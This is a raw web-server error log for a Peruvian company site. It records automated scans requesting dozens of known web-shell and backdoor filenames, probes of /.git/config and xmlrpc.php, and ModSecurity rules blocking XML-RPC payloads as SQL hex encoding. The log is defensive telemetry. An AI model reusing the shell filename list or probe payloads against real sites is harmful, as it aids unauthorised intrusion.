[client 193.19.109.209:52476] File does not exist: /home/coldtecp/public_html/defaults.php [Tue Oct 21 10:21:48.207434 2025] [:error] [pid 23061:tid 23078] [client 193.19.109.209:52484] File does not exist: /home/coldtecp/public_html/lock.php [Tue Oct 21 10:21:49.014453 2025] [:error] [pid 23061:tid 23088] [client 193.19.109.209:52488] File does not exist: /home/coldtecp/public_html/hehe.php [Tue Oct 21 10:21:52.219513 2025] [:error] [pid 23458:tid 23460] [client 193.19.109.209:52502] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php [Tue Oct 21 10:21:52.616678 2025] [:error] [pid 23458:tid 23482] [client 193.19.109.209:52504] File does not exist: /home/coldtecp/public_html/wp-files.php [Tue Oct 21 10:21:54.419528 2025] [:error] [pid 23458:tid 23467] [client 193.19.109.209:52512] File does not exist: /home/coldtecp/public_html/lufix.php [Tue Oct 21 10:21:55.013990 2025] [:error] [pid 23061:tid 23084] [client 193.19.109.209:52514] File does not exist: /home/coldtecp/public_html/Private-Exploit-Ova.php [Tue Oct 21 10:21:57.018657 2025] [:error] [pid 23062:tid 23114] [client 193.19.109.209:52520] File does not exist: /home/coldtecp/public_html/flower.php [Tue Oct 21 10:21:59.819911 2025] [:error] [pid 23062:tid 23108] [client 193.19.109.209:52522] File does not exist: /home/coldtecp/public_html/wp-trackback.php [Tue Oct 21 10:22:02.915865 2025] [:error] [pid 23062:tid 23115] [client 193.19.109.209:52566] File does not exist: /home/coldtecp/public_html/cjfuns.php [Tue Oct 21 10:22:03.622418 2025] [:error] [pid 23063:tid 23126] [client 193.19.109.209:52582] File does not exist: /home/coldtecp/public_html/tinyfilemanager.php [Tue Oct 21 10:22:05.720970 2025] [:error] [pid 23458:tid 23483] [client 193.19.109.209:52628] File does not exist: /home/coldtecp/public_html/feifq.php [Tue Oct 21 10:22:06.108467 2025] [:error] [pid 23063:tid 23121] [client 193.19.109.209:52636] File does not exist: /home/coldtecp/public_html/login.php [Tue Oct 21 10:22:07.117441 2025] [:error] [pid 23062:tid 23115] [client 193.19.109.209:52662] File does not exist: /home/coldtecp/public_html/wander.php [Tue Oct 21 10:22:08.720736 2025] [:error] [pid 23458:tid 23477] [client 193.19.109.209:52698] File does not exist: /home/coldtecp/public_html/ee.php [Tue Oct 21 10:22:09.406473 2025] [:error] [pid 23062:tid 23101] [client 193.19.109.209:52712] File does not exist: /home/coldtecp/public_html/xBrain.php [Tue Oct 21 10:22:09.821409 2025] [:error] [pid 23062:tid 23103] [client 193.19.109.209:52722] File does not exist: /home/coldtecp/public_html/jquery.php [Tue Oct 21 10:22:10.219593 2025] [:error] [pid 23062:tid 23112] [client 193.19.109.209:52730] File does not exist: /home/coldtecp/public_html/wp-signup.php [Tue Oct 21 10:22:10.703649 2025] [:error] [pid 23458:tid 23465] [client 193.19.109.209:52740] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php [Tue Oct 21 10:22:12.828829 2025] [:error] [pid 23458:tid 23479] [client 193.19.109.209:52784] File does not exist: /home/coldtecp/public_html/shell20211028.php [Tue Oct 21 10:22:13.317412 2025] [:error] [pid 23458:tid 23482] [client 193.19.109.209:52794] File does not exist: /home/coldtecp/public_html/wp-conf.php [Tue Oct 21 10:22:20.315911 2025] [:error] [pid 23458:tid 23477] [client 193.19.109.209:52934] File does not exist: /home/coldtecp/public_html/click.php [Tue Oct 21 10:22:23.595441 2025] [:error] [pid 23063:tid 23122] [client 193.19.109.209:53002] File does not exist: /home/coldtecp/public_html/shxrtr.php [Tue Oct 21 10:22:23.918195 2025] [:error] [pid 23063:tid 23131] [client 193.19.109.209:53010] File does not exist: /home/coldtecp/public_html/ajk.php [Tue Oct 21 10:22:26.817084 2025] [:error] [pid 23062:tid 23100] [client 193.19.109.209:53070] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/cloud.php [Tue Oct 21 10:22:27.217976 2025] [:error] [pid 23458:tid 23473] [client 193.19.109.209:53080] File does not exist: /home/coldtecp/public_html/NewFile.php [Tue Oct 21 10:22:29.811223 2025] [:error] [pid 23062:tid 23116] [client 193.19.109.209:53108] File does not exist: /home/coldtecp/public_html/css.php [Tue Oct 21 10:22:32.808445 2025] [:error] [pid 23458:tid 23464] [client 193.19.109.209:53118] File does not exist: /home/coldtecp/public_html/gm.php [Tue Oct 21 10:22:33.894749 2025] [:error] [pid 23458:tid 23468] [client 193.19.109.209:53122] File does not exist: /home/coldtecp/public_html/atomlib.php [Tue Oct 21 10:22:37.512063 2025] [:error] [pid 23061:tid 23085] [client 193.19.109.209:53132] File does not exist: /home/coldtecp/public_html/eagle.php [Tue Oct 21 10:22:41.494237 2025] [:error] [pid 23062:tid 23107] [client 193.19.109.209:53142] File does not exist: /home/coldtecp/public_html/wp-configss1.php [Tue Oct 21 10:22:42.915321 2025] [:error] [pid 23062:tid 23113] [client 193.19.109.209:53148] File does not exist: /home/coldtecp/public_html/files.php [Tue Oct 21 10:22:43.545174 2025] [:error] [pid 23062:tid 23115] [client 193.19.109.209:53150] File does not exist: /home/coldtecp/public_html/customize.php [Tue Oct 21 10:22:44.243841 2025] [:error] [pid 23063:tid 23140] [client 193.19.109.209:53154] File does not exist: /home/coldtecp/public_html/sim.php [Tue Oct 21 10:22:44.633680 2025] [:error] [pid 23062:tid 23104] [client 193.19.109.209:53156] File does not exist: /home/coldtecp/public_html/wp-network.php.php [Tue Oct 21 10:22:52.743350 2025] [:error] [pid 23458:tid 23482] [client 193.19.109.209:53176] File does not exist: /home/coldtecp/public_html/packed.php [Tue Oct 21 10:22:57.649317 2025] [:error] [pid 23458:tid 23470] [client 193.19.109.209:53192] File does not exist: /home/coldtecp/public_html/Coldsellers.php [Tue Oct 21 10:23:04.127617 2025] [:error] [pid 23458:tid 23473] [client 193.19.109.209:53208] File does not exist: /home/coldtecp/public_html/Ova-Simple.php [Tue Oct 21 11:04:06.576525 2025] [:error] [pid 23062:tid 23109] [client 173.252.82.3:54538] [client 173.252.82.3] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPeu9m8jjgYEhyIVwok5mgAAAFA"] [Tue Oct 21 11:10:07.099198 2025] [:error] [pid 23061:tid 23091] [client 69.171.230.4:54788] [client 69.171.230.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPewX4o-194VF-uuwI7lnQAAABg"] [Wed Oct 22 00:04:18.979685 2025] [:error] [pid 23062:tid 23114] [client 14.13.180.34:50144] [client 14.13.180.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x102a8722de found within XML: metaWeblog.newPost13619336193title0x102a8722description0x102a8722mt_keywords0x102a8722mt_excerpt0x102a87221"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPhl0m8jjgYEhyIVwok_7gAAAFU"] [Wed Oct 22 02:46:34.049957 2025] [:error] [pid 8683:tid 8735] [client 169.150.203.200:56078] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Oct 22 03:41:36.879750 2025] [:error] [pid 8683:tid 8732] [client 169.150.203.249:58022] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Oct 22 09:40:17.518193 2025] [:error] [pid 19944:tid 19954] [client 173.252.82.112:38786] [client 173.252.82.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPjs0afuKM0XVtsGjq0fCAAAAMg"] [Wed Oct 22 09:50:01.976106 2025] [:error] [pid 19621:tid 19655] [client 173.252.82.10:38970] [client 173.252.82.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPjvGf4-VAuSyy8JvfIWDwAAAIE"] [Wed Oct 22 13:54:47.546362 2025] [:error] [pid 19621:tid 19684] [client 152.42.189.52:44376] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Oct 24 01:18:33.147333 2025] [:error] [pid 5442:tid 5491] [client 157.119.204.201:51282] [client 157.119.204.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x3546f66cde found within XML: metaWeblog.newPost11977219772title0x3546f66cdescription0x3546f66cmt_keywords0x3546f66cmt_excerpt0x3546f66c1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPsaOXUeNu-K-xfKMQy19AAAAIQ"] [Fri Oct 24 07:00:26.206124 2025] [:error] [pid 2246:tid 2269] [client 173.252.70.30:33524] [client 173.252.70.30] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPtqWqFJ9bS5x91fOBMvNgAAANU"] [Fri Oct 24 07:11:55.786670 2025] [:error] [pid 2010:tid 2080] [client 169.150.203.247:33770] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Oct 25 04:42:47.951177 2025] [:error] [pid 11326:tid 11348] [client 104.28.208.86:50216] File does not exist: /home/coldtecp/public_html/wp-login.php [Sat Oct 25 05:03:56.826203 2025] [:error] [pid 11326:tid 11348] [client 84.130.177.149:50704] [client 84.130.177.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPygjER25V7GaH-7VmPJ8wAAANM"] [Sat Oct 25 05:07:09.138151 2025] [:error] [pid 11015:tid 11052] [client 164.163.98.31:50774] [client 164.163.98.31] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x30266a21de found within XML: metaWeblog.newPost12220622206title0x30266a21description0x30266a21mt_keywords0x30266a21mt_excerpt0x30266a211"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPyhTZdTcMK4_con9dR1agAAAAU"] [Sat Oct 25 05:10:28.866251 2025] [:error] [pid 11326:tid 11346] [client 173.252.82.13:50846] [client 173.252.82.13] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPyiFER25V7GaH-7VmPKAQAAANE"] [Sat Oct 25 15:17:20.749855 2025] [:error] [pid 11016:tid 11084] [client 23.234.87.67:41982] File does not exist: /home/coldtecp/public_html/index.php [Sat Oct 25 15:17:20.943909 2025] [:error] [pid 11016:tid 11095] [client 23.234.87.67:41988] File does not exist: /home/coldtecp/public_html/index.php [Sun Oct 26 03:18:14.344080 2025] [:error] [pid 11326:tid 11349] [client 185.193.156.155:52948] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/10/26 12:35:37 [error] 12410#12410: *3013275 access forbidden by rule, client: 139.59.72.212, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/26 12:35:48 [error] 12410#12410: *3013282 access forbidden by rule, client: 139.59.72.212, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Mon Oct 27 05:38:29.667444 2025] [:error] [pid 4670:tid 4679] [client 185.187.131.214:51880] [client 185.187.131.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aP9LpViNHThDk-VEfpcERwAAAMc"] [Mon Oct 27 05:39:04.900720 2025] [:error] [pid 4346:tid 4389] [client 43.248.13.174:51884] [client 43.248.13.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x221e4590de found within XML: metaWeblog.newPost19631496314title0x221e4590description0x221e4590mt_keywords0x221e4590mt_excerpt0x221e45901"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aP9LyEJkMt2sApfpNYmVnwAAAI0"] [Mon Oct 27 05:49:21.139145 2025] [:error] [pid 4344:tid 4404] [client 89.187.187.79:52114] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Oct 27 07:39:19.457097 2025] [:error] [pid 4346:tid 4395] [client 138.199.35.5:55134] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Oct 27 15:26:57.337408 2025] [:error] [pid 4670:tid 4696] [client 104.28.208.87:46292] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Oct 29 02:15:39.146115 2025] [:error] [pid 23077:tid 23135] [client 49.149.67.247:51370] [client 49.149.67.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xea56b1a5de found within XML: metaWeblog.newPost19126391263title0xea56b1a5description0xea56b1a5mt_keywords0xea56b1a5mt_excerpt0xea56b1a51"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQG_G6kT13UvDI9w8t88GgAAAJA"] [Wed Oct 29 23:59:57.649952 2025] [:error] [pid 5104:tid 5112] [client 180.190.63.91:50952] [client 180.190.63.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x71bc60bcde found within XML: metaWeblog.newPost12363823638title0x71bc60bcdescription0x71bc60bcmt_keywords0x71bc60bcmt_excerpt0x71bc60bc1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQLwzRPX7p9CR87_Q5si1gAAAMU"] [Thu Oct 30 05:36:59.073617 2025] [:error] [pid 29953:tid 29957] [client 69.171.230.116:60898] [client 69.171.230.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQM_y8jumaKrDzduiXAv7QAAAMI"] [Thu Oct 30 08:21:03.261254 2025] [:error] [pid 29634:tid 29665] [client 69.171.249.7:39124] [client 69.171.249.7] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQNmP6lcubUtt0bNwAE3mwAAAIE"] [Thu Oct 30 08:21:03.355434 2025] [:error] [pid 29634:tid 29680] [client 69.171.249.14:39126] [client 69.171.249.14] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQNmP6lcubUtt0bNwAE3nAAAAJA"] [Thu Oct 30 08:21:10.096739 2025] [:error] [pid 29634:tid 29671] [client 69.171.230.9:39132] [client 69.171.230.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQNmRqlcubUtt0bNwAE3ngAAAIc"] [Thu Oct 30 13:17:32.403590 2025] [:error] [pid 29953:tid 29973] [client 185.193.157.189:50942] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Oct 30 20:30:50.743628 2025] [:error] [pid 29953:tid 29958] [client 88.126.249.190:38576] [client 88.126.249.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x81aebed1de found within XML: metaWeblog.newPost15494754947title0x81aebed1description0x81aebed1mt_keywords0x81aebed1mt_excerpt0x81aebed11"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQQRSsjumaKrDzduiXA_BgAAAMM"] [Fri Oct 31 04:17:05.278479 2025] [:error] [pid 28999:tid 29008] [client 173.252.82.4:50016] [client 173.252.82.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQR-kSSURQ5FwvlDmyelvgAAAMc"] [Fri Oct 31 07:03:16.085617 2025] [:error] [pid 28625:tid 28731] [client 173.252.95.5:55958] [client 173.252.95.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQSlhOiiouaT2SokFg1lrwAAAJQ"] [Fri Oct 31 17:20:14.102505 2025] [:error] [pid 16629:tid 16637] [client 189.63.146.109:58098] [client 189.63.146.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xff3baf37de found within XML: metaWeblog.newPost13931439314title0xff3baf37description0xff3baf37mt_keywords0xff3baf37mt_excerpt0xff3baf371"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQU2HrsRlxfu9pyKXj94DgAAAMY"] [Sat Nov 01 02:28:17.955648 2025] [:error] [pid 9893:tid 9936] [client 173.252.70.14:50520] [client 173.252.70.14] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQW2kbHPm85lS2-QZ1D2YAAAAYg"] [Sat Nov 01 05:30:36.694245 2025] [:error] [pid 16440:tid 16445] [client 173.252.95.113:55784] [client 173.252.95.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQXhTJMDaC1FxMkNEvBI9AAAAMM"] [Sat Nov 01 14:36:16.694166 2025] [:error] [pid 16440:tid 16442] [client 106.222.207.37:46884] [client 106.222.207.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xf8db9cf4de found within XML: metaWeblog.newPost14233142331title0xf8db9cf4description0xf8db9cf4mt_keywords0xf8db9cf4mt_excerpt0xf8db9cf41"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag 